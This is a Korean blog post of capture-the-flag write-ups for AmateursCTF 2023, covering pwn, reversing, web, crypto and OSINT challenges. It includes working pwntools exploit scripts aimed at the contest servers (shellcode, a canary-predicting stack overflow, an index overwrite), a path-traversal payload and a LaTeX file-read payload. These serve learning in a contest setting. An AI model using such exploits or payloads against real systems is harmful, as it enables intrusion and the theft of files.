ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

AmateursCTF 2023
CTF

AmateursCTF 2023

2023. 7. 20. 15:30

문제가 다양해서 재밌었고 내년에도 하면 좋을 것 같습니다.

 


PWN

permissions

더보기
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <seccomp.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>

void setup_seccomp () {
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_KILL);
    int ret = 0;
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    ret |= seccomp_load(ctx);
    if (ret) {
        errx(1, "seccomp failed");
    }
}

int main () {
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    alarm(6);

    int fd = open("flag.txt", O_RDONLY);
    if (0 > fd)
        errx(1, "failed to open flag.txt");

    char * flag = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (flag == MAP_FAILED)
        errx(1, "failed to mmap memory");

    if (0 > read(fd, flag, 0x1000))
        errx(1, "failed to read flag");

    close(fd);

    // make flag write-only
    if (0 > mprotect(flag, 0x1000, PROT_WRITE))
        errx(1, "failed to change mmap permissions");

    char * code = mmap(NULL, 0x100000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (code == MAP_FAILED)
        errx(1, "failed to mmap shellcode buffer");

    printf("> ");
    if (0 > read(0, code, 0x100000))
        errx(1, "failed to read shellcode");

    setup_seccomp();

    ((void(*)(char *))code)(flag);
    exit(0);
}

flag에 쓰기 권한만 부여되어 있다.

따라서 shellcraft를 활용해 셸 코드를 만들어 입력하면 된다.

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

p = remote('amt.rs', 31174)
# p = process('./chal')
# gdb.attach(p)

pay = shellcraft.write(1, 'rdi', 0x100)
pay = asm(pay)
p.sendlineafter(b'>', pay)

p.interactive()​


 

rntk

(직접 풀지는 못 한 문제)

더보기

[IDA Decomplie - main]

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  generate_canary();
  while ( 1 )
  {
    puts("Please select one of the following actions");
    puts("1) Generate random number");
    puts("2) Try to guess a random number");
    puts("3) Exit");
    v4 = 0;
    __isoc99_scanf("%d", &v4);
    getchar();
    if ( v4 == 3 )
      break;
    if ( v4 <= 3 )
    {
      if ( v4 == 1 )
      {
        v3 = rand();
        printf("%d\n", v3);
      }
      else if ( v4 == 2 )
      {
        random_guess();
      }
    }
  }
  exit(0);
}

 

[IDA Decomplie - random_guess]

int random_guess()
{
  char nptr[40]; // [rsp+0h] [rbp-30h] BYREF
  int v2; // [rsp+28h] [rbp-8h]
  int v3; // [rsp+2Ch] [rbp-4h]

  printf("Enter in a number as your guess: ");
  v3 = global_canary;
  gets(nptr);
  v2 = strtol(nptr, 0LL, 10);
  if ( v3 != global_canary )
  {
    puts("***** Stack Smashing Detected ***** : Canary Value Corrupt!");
    exit(1);
  }
  if ( v2 == rand() )
    return puts("Congrats you guessed correctly!");
  else
    return puts("Better luck next time");
}

 

**[AIDEN 선생님의 풀이]**

seed를 time으로 하면 파이썬에서 같은 시간대의 time seed를 줘버리면 카나리가 동일해진다고 한다.
c언에서 쓰는 rand랑 동일해야 하기 때문에 ctypes로 glibc rand 끌고 와야 한다고 한다.

from pwn import *
import ctypes
from time import *
sym = ELF('./chal')
libc = ctypes.CDLL('libc.so.6')

#p = process('./chal')
p = remote('amt.rs', 31175)

#gdb.attach(p)

libc.srand(libc.time(0))
canary = libc.rand()

payload = b'A'*44
payload += p32(canary)
payload += p64(0xdeadbeef)
payload += p64(sym.symbols['win'])

p.sendlineafter('random number','2')
p.sendlineafter(':', payload)

p.interactive()​


 

hex-converter

더보기
#include <stdio.h>
#include <stdlib.h>

int main()
{
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    int i = 0;

    char name[16];
    printf("input text to convert to hex: \n");
    gets(name);

    char flag[64];
    fgets(flag, 64, fopen("flag.txt", "r"));
    // TODO: PRINT FLAG for cool people ... but maybe later

    while (i < 16)
    {
        // the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe
        printf("%02X", (unsigned int)(name[i] & 0xFF));
        i++;
    }
    printf("\n");
}​


다음은 main 함수의 디스어셈블 코드 중 일부이다.

   0x00000000004011c7 <+65>:    lea    rax,[rbp-0x20]
   0x00000000004011cb <+69>:    mov    rdi,rax
   0x00000000004011ce <+72>:    mov    eax,0x0
   0x00000000004011d3 <+77>:    call   0x401080 <gets@plt>
   ...
   0x00000000004011e7 <+97>:    mov    rdx,rax
   0x00000000004011ea <+100>:   lea    rax,[rbp-0x60]
   0x00000000004011ee <+104>:   mov    esi,0x40
   0x00000000004011f3 <+109>:   mov    rdi,rax
   0x00000000004011f6 <+112>:   call   0x401070 <fgets@plt>
   ...
   0x00000000004011fb <+117>:   jmp    0x401222 <main+156>
   0x00000000004011fd <+119>:   mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401200 <+122>:   cdqe
   0x0000000000401202 <+124>:   movzx  eax,BYTE PTR [rbp+rax*1-0x20]
   0x0000000000401207 <+129>:   movsx  eax,al
   0x000000000040120a <+132>:   movzx  eax,al
   0x000000000040120d <+135>:   mov    esi,eax
   0x000000000040120f <+137>:   mov    edi,0x40203a
   0x0000000000401214 <+142>:   mov    eax,0x0
   0x0000000000401219 <+147>:   call   0x401060 <printf@plt>
   0x000000000040121e <+152>:   add    DWORD PTR [rbp-0x4],0x1
   0x0000000000401222 <+156>:   cmp    DWORD PTR [rbp-0x4],0xf
   0x0000000000401226 <+160>:   jle    0x4011fd <main+119>
   ...​


name은 rbp-0x20부터 시작하고 flag는 rbp-0x60부터 시작한다
<main+156>을 보면 while 문의 i<16을 판별하는 코드이다.
i는 rbp-0x4에 저장됨을 알 수 있다.

gets 함수에서 BOF가 발생하기 때문에 rbp-0x20부터 마음껏 채울 수 있으며
이는 변수 i의 값을 오버라이트 할 수 있음을 의미한다. 

name의 인덱스가 flag를 가리키기 위해선 인덱스는 -64가 되어야 한다.
따라서 i를 -64로 변조시키면 된다.
-64는 0xffffffc0이다.

익스플로잇 코드는 다음과 같다.

from pwn import *
import time

p = process('./chal')
p = remote('amt.rs', 31630)

# gdb.attach(p)

pay = b'a'*0x1c + p64(0xffffffc0)
# sleep(10)

p.sendlineafter('hex:',pay)
# pause()

p.interactive()​

실행 결과 나오는 hex 값을 ascii로 바꿔주면 플래그가 나온다.

 


REV

volcano

더보기

[IDA Decomplie - main]

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 v4; // rbx
  __int64 v5; // rbx
  __int64 v6; // rbx
  unsigned __int64 v7; // [rsp+8h] [rbp-C8h] BYREF
  unsigned __int64 v8; // [rsp+10h] [rbp-C0h] BYREF
  __int64 v9; // [rsp+18h] [rbp-B8h] BYREF
  __int64 v10; // [rsp+20h] [rbp-B0h]
  FILE *stream; // [rsp+28h] [rbp-A8h]
  char s[136]; // [rsp+30h] [rbp-A0h] BYREF
  unsigned __int64 v13; // [rsp+B8h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  printf("Give me a bear: ");
  v7 = 0LL;
  __isoc99_scanf("%llu", &v7);
  if ( !sub_12BB(v7) )
  {
    puts("That doesn't look like a bear!");
    return 1LL;
  }
  else
  {
    printf("Give me a volcano: ");
    v8 = 0LL;
    __isoc99_scanf("%llu", &v8);
    if ( !sub_13D9(v8) )
    {
      puts("That doesn't look like a volcano!");
      return 1LL;
    }
    else
    {
      printf("Prove to me they are the same: ");
      v9 = 0LL;
      v10 = 4919LL;
      __isoc99_scanf("%llu", &v9);
      if ( (v9 & 1) != 0 && v9 != 1 )
      {
        v4 = sub_1209(v8);
        if ( v4 == sub_1209(v7)
          && (v5 = sub_124D(v8), v5 == sub_124D(v7))
          && (v6 = sub_1430(v10, v8, v9), v6 == sub_1430(v10, v7, v9)) )
        {
          puts("That looks right to me!");
          stream = fopen("flag.txt", "r");
          fgets(s, 128, stream);
          puts(s);
          return 0LL;
        }
        else
        {
          puts("Nope that's not right!");
          return 1LL;
        }
      }
      else
      {
        puts("That's not a valid proof!");
        return 1LL;
      }
    }
  }
}​

[IDA Decomplie - sub_12BB]

_BOOL8 __fastcall sub_12BB(unsigned __int64 a1)
{
  if ( (a1 & 1) != 0 )
    return 0LL;
  if ( a1 % 3 != 2 )
    return 0LL;
  if ( a1 % 5 != 1 )
    return 0LL;
  if ( a1 % 7 == 3 )
    return a1 % 0x6D == 55;
  return 0LL;
}

[IDA Decomplie - sub_13D9]

_BOOL8 __fastcall sub_13D9(unsigned __int64 a1)
{
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = 0LL;
  while ( a1 )
  {
    v2 += a1 & 1;
    a1 >>= 1;
  }
  return v2 > 0x10 && v2 <= 0x1A;
}

[IDA Decomplie - sub_1209]

__int64 __fastcall sub_1209(unsigned __int64 a1)
{
  __int64 v3; // [rsp+10h] [rbp-8h]

  v3 = 0LL;
  while ( a1 )
  {
    ++v3;
    a1 /= 0xAuLL;
  }
  return v3;
}

[IDA Decomplie - sub_124D]

__int64 __fastcall sub_124D(unsigned __int64 a1)
{
  __int64 v3; // [rsp+10h] [rbp-8h]

  v3 = 0LL;
  while ( a1 )
  {
    v3 += a1 % 0xA;
    a1 /= 0xAuLL;
  }
  return v3;
}

[IDA Decomplie - sub_1430]

__int64 __fastcall sub_1430(unsigned __int64 a1, unsigned __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v5; // [rsp+10h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-8h]

  v6 = 1LL;
  v5 = a1 % a3;
  while ( a2 )
  {
    if ( (a2 & 1) != 0 )
      v6 = v5 * v6 % a3;
    a2 >>= 1;
    v5 = v5 * v5 % a3;
  }
  return v6;
}


디스코드에서는 bear와 volcano가 값이 동일해야 한다고 한다.
bear와 volcano가 같지 않으면 조건을 만족해도 답으로 인정해주지 않는다.

[solve.py]

def sub_1209(a1):
    v3 = 0
    while a1:
        v3 += 1
        a1 /= 10
    return v3

def sub_124D(a1):
    v3 = 0
    while a1:
        v3 += (a1 % 10)
        a1 //= 10
    return v3

def sub_1430(a1, a2, a3):
    sub_v6 = 1
    sub_v5 = a1 % a3
    while a2:
        if (a2 & 1) != 0:
            sub_v6 = sub_v5 * sub_v6 % a3
        a2 >>= 1
        sub_v5 = sub_v5 * sub_v5 % a3
    return sub_v6
v7 = 0
v8 = 0

num = 132926
s1209 = 0 
s124d = 0
while True:
    while True:
        if num & 1 != 0:
            num += 1
            continue
        if num % 3 != 2:
            num += 1
            continue
        if num % 5 != 1:
            num += 1
            continue
        if num % 7 != 3:
            num += 1
            continue
        else:
            if num % 109 == 55:
                s1209 = sub_1209(num)
                s124d = sub_124D(num)
                v7 = num
                print('[bear]',num)
                break
            else:
                num += 1
                continue

    a1 = num
    v2 = 0
    while a1:
        v2 += a1 & 1
        a1 >>= 1
    if v2 > 16 and v2 <= 26:
        if sub_1209(num) == s1209 and sub_124D(num) == s124d:
            v8 = num
            print('[volcano]',num)
            break
    num += 1

num = 0
v10 = 4919
while True:
    v9 = num
    if (v9 & 1) != 0 and v9 != 1:
        v4 = sub_1209(v8)
        if v4 == sub_1209(v7):
            v5 = sub_124D(v8)
            if v5 == sub_124D(v7):
                v6 = sub_1430(v10, v8, v9)                
                if v6 == sub_1430(v10, v7, v9):
                    print('[answer]', num)
                    break
    num += 1​

 


WEB

waiting-an-eternity

더보기

문제 페이지에 들어가면 다음과 같이 나옴


network 탭을 확인해보면 다음과 같음


해당 url로 이동하면 다음과 같음


해당 url에 방문하면 time이라는 세션이 부여되며 새로고침하면 다음과 같이 나옴


-9999999999.. 으로 time의 값을 과거로 돌리면 플래그가 나옴

 

 

funny factorials

더보기

도커파일을 보면 플래그는 루트 디렉토리에 있다.

FROM python:3.10-slim-buster

RUN pip3 install flask
COPY flag.txt /

WORKDIR /app
COPY app/* /app/
copy app/templates/* /app/templates/
copy app/themes/* /app/themes/

EXPOSE 5000

ENTRYPOINT ["python3", "app.py"]


flask 코드는 다음과 같다.

from flask import Flask, render_template, request
import sys

app = Flask(__name__)

def factorial(n):
    if n == 0:
        return 1
    else:
        try:
            return n * factorial(n - 1)
        except RecursionError:
            return 1

def filter_path(path):
    # print(path)
    path = path.replace("../", "")
    try:
        return filter_path(path)
    except RecursionError:
        # remove root / from path if it exists
        if path[0] == "/":
            path = path[1:]
        print(path)
        return path

@app.route('/')
def index():
    safe_theme = filter_path(request.args.get("theme", "themes/theme1.css"))
    f = open(safe_theme, "r")
    theme = f.read()
    f.close()
    return render_template('index.html', css=theme)

@app.route('/', methods=['POST'])
def calculate_factorial():
    safe_theme = filter_path(request.args.get("theme", "themes/theme1.css"))

    f = open(safe_theme, "r")
    theme = f.read()
    f.close()
    try:
        num = int(request.form['number'])
        if num < 0:
            error = "Invalid input: Please enter a non-negative integer."
            return render_template('index.html', error=error, css=theme)
        result = factorial(num)
        return render_template('index.html', result=result, css=theme)
    except ValueError:
        error = "Invalid input: Please enter a non-negative integer."
        return render_template('index.html', error=error, css=theme)

if __name__ == '__main__':
    sys.setrecursionlimit(100)
    app.run(host='0.0.0.0')

theme에 유저 입력 값(path)이 들어간다.
filter_path로 입력 값을 검사한다.
RecursionError, 즉 재귀 함수의 횟수 제한에 걸리면
맨 앞에 ‘/’ 문자가 있을 때 해당 ‘/’ 문자를 걸러낸 path를 리턴해준다.

따라서, “//flag.txt”를 입력하게 되면 “/flag.txt”가 된다.

 


latek

더보기

LaTeX 온라인 컴파일러를 활용해 /flag.txt 파일을 읽는 문제다.
다음 글에 txt file을 문서에 넣는 법이 나와 있다.
https://tex.stackexchange.com/questions/85200/include-data-from-a-txt-verbatim

\documentclass{article}

\usepackage[dvipsnames]{xcolor}

\usepackage{fancyvrb}

% redefine \VerbatimInput
\RecustomVerbatimCommand{\VerbatimInput}{VerbatimInput}%
{fontsize=\footnotesize,
 %
 frame=lines,  % top and bottom rule only
 framesep=2em, % separation between frame and text
 rulecolor=\color{Gray},
 %
 label=\fbox{\color{Black}data.txt},
 labelposition=topline,
 %
 commandchars=\|\(\), % escape character and argument delimiters for
                      % commands within the verbatim
 commentchar=*        % comment character
}

\begin{document}

\VerbatimInput{data.txt}

\end{document}


복붙하면 플래그 나옴

 

 


CRYPTO

Compact XORs

더보기

fleg 라는 바이너리 파일이 주어진다.
파일의 내용은 다음과 같다.

610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944

 

플래그의 형식인 amateurs와 비교해보면 정상적인 문자와 이상한 문자가 번갈아가면서 나온다.
‘정상 문자 ^ 비정상 문자’ 를 수행하면 정상 문자로 돌아온다.
ex) 0x61 ^ 0x0c ⇒ ‘m’

fleg = '610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944'
calc = False
first = 0
second = 0

for i in range(0,len(fleg)-1,2):
    if calc == True:
        second = int((fleg[i:i+2]),16)
        print(chr(first^second), end='')
        calc = False
    else:
        first = int((fleg[i:i+2]),16)
        print(chr(first), end='')
        calc = True

 

 


OSINT

Gitint 5e

더보기

les-amateurs 조직을 찾아 레포에서 플래그를 찾는 문제다.
https://github.com/les-amateurs

more-CTFd-mods 라는 레포에 커밋 항목을 살펴보면 가장 오래된 두 항목에서 플래그가 입력된 흔적을 확인할 수 있다.


sha256으로 바꿔보면 문제에서 제시한 값과 동일하다.

'CTF' 카테고리의 다른 글

vsCTF 2023  (0) 2023.09.25
CSAW CTF Qualification Round 2023  (0) 2023.09.18
SECCON CTF 2023 Quals  (0) 2023.09.17
BDSec CTF 2023  (0) 2023.07.22
ångstrom CTF 2023  (0) 2023.05.02
    'CTF' 카테고리의 다른 글
    • CSAW CTF Qualification Round 2023
    • SECCON CTF 2023 Quals
    • BDSec CTF 2023
    • ångstrom CTF 2023
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바